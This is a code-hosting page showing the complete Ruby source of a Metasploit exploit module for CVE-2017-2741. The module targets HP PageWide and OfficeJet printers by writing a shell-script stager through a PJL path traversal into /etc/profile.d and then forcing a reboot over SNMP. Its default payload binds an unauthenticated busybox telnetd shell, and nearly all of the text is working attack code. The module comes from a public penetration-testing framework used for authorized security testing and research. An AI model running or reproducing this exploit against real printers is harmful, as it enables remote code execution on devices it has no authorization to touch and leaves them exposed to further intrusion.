CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require "rex/proto/pjl"
7
8
class MetasploitModule < Msf::Exploit::Remote
9
10
Rank = NormalRanking
11
12
include Msf::Exploit::Remote::SNMPClient
13
include Msf::Exploit::Remote::Tcp
14
include Msf::Exploit::CmdStager
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
19
'Description' => %q{
20
The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
21
writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
22
is restarted using SNMP. Impacted printers:
23
HP PageWide Managed MFP P57750dw
24
HP PageWide Managed P55250dw
25
HP PageWide Pro MFP 577z
26
HP PageWide Pro 552dw
27
HP PageWide Pro MFP 577dw
28
HP PageWide Pro MFP 477dw
29
HP PageWide Pro 452dw
30
HP PageWide Pro MFP 477dn
31
HP PageWide Pro 452dn
32
HP PageWide MFP 377dw
33
HP PageWide 352dw
34
HP OfficeJet Pro 8730 All-in-One Printer
35
HP OfficeJet Pro 8740 All-in-One Printer
36
HP OfficeJet Pro 8210 Printer
37
HP OfficeJet Pro 8216 Printer
38
HP OfficeJet Pro 8218 Printer
39
40
Please read the module documentation regarding the possibility for leaving an
41
unauthenticated telnetd service running as a side effect of this exploit.
42
},
43
'Author' => [
44
'Jacob Baines', # Python PoC
45
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
46
],
47
'License' => MSF_LICENSE,
48
'References' =>
49
[
50
[ 'CVE', '2017-2741' ],
51
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
52
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
53
],
54
'Targets' => [
55
['Unix (In-Memory)',
56
'Platform' => 'unix',
57
'Arch' => ARCH_CMD,
58
'Payload' => {
59
'Compat' => {
60
'PayloadType' => 'cmd'
61
}
62
},
63
]
64
],
65
'Privileged' => true,
66
'DisclosureDate' => '2017-04-05',
67
'DefaultTarget' => 0,
68
'DefaultOptions' => {
69
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
70
'WfsDelay' => 180
71
}
72
))
73
74
register_options(
75
[
76
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
77
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
78
]
79
)
80
end
81
82
def execute_command(cmd, opts = {})
83
rpath = '0:/../../rw/var/etc/profile.d/'
84
stager_script_name = opts[:stager_script_name]
85
cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"
86
87
begin
88
# use PJL to write command stager
89
print_status("Connecting to port #{rport}...")
90
91
pjl = Rex::Proto::PJL::Client.new(sock)
92
pjl.begin_job
93
94
pjl.fsinit(rpath[0..1])
95
96
print_status("Attempting to write command stager...")
97
rpath = "#{rpath}#{stager_script_name}"
98
if pjl.fsdownload(cmd, rpath, is_file: false)
99
print_good("Successfully wrote command stager to #{rpath}")
100
else
101
print_error("Failed to write command stager to #{rpath}")
102
return
103
end
104
105
# verify command stager exists
106
unless pjl.fsquery(rpath)
107
print_error("Command stager does not exist at #{rpath}; aborting...")
108
return
109
end
110
111
pjl.end_job
112
113
rescue Rex::ConnectionError
114
print_error("Connection Refused")
115
raise
116
end
117
end
118
119
def restart_printer
120
pjl_port = datastore['RPORT']
121
snmp_port = datastore['SNMPPORT']
122
community = datastore['COMMUNITY']
123
# Printer MIB prtGeneralReset object identifier (numeric notation)
124
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
125
# prtGeneralReset powerCycleReset(4) value
126
power_cycle_reset = 4
127
128
begin
129
# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
130
datastore['RPORT'] = snmp_port
131
print_status("Connecting to SNMP port #{rport}...")
132
snmp = connect_snmp
133
134
# get value of Printer MIB prtGeneralReset
135
reset_value = snmp.get_value(prt_general_reset)
136
reset_value = "''" if reset_value.is_a?(SNMP::Null)
137
print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
138
139
# set value of Printer MIB prtGeneralReset to powerCycleReset(4)
140
print_status("Attempting to restart printer via SNMP...")
141
varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
142
response = snmp.set(varbind)
143
144
if response.error_status == :noError
145
print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")
146
147
# get value of Printer MIB prtGeneralReset
148
reset_value = snmp.get_value(prt_general_reset)
149
reset_value = "''" if reset_value.is_a?(SNMP::Null)
150
print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
151
print_status("Printer restarting...")
152
153
else
154
print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
155
end
156
157
rescue SNMP::RequestTimeout
158
print_error("SNMP request timeout with community '#{community}'")
159
raise
160
rescue SNMP::UnsupportedVersion
161
print_error("Unsupported SNMP version specified; use '1' or '2c'")
162
raise
163
rescue Rex::ConnectionError
164
print_error("Connection Refused")
165
raise
166
ensure
167
# restore original rport value
168
datastore['RPORT'] = pjl_port
169
end
170
end
171
172
def exploit
173
begin
174
opts = {
175
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
176
}
177
178
print_status("Exploiting...")
179
connect
180
if target.name =~ /Unix/
181
execute_command(payload.encoded, opts)
182
else
183
execute_cmdstager(opts)
184
end
185
restart_printer
186
187
return
188
ensure
189
disconnect
190
end
191
end
192
193
end
194
195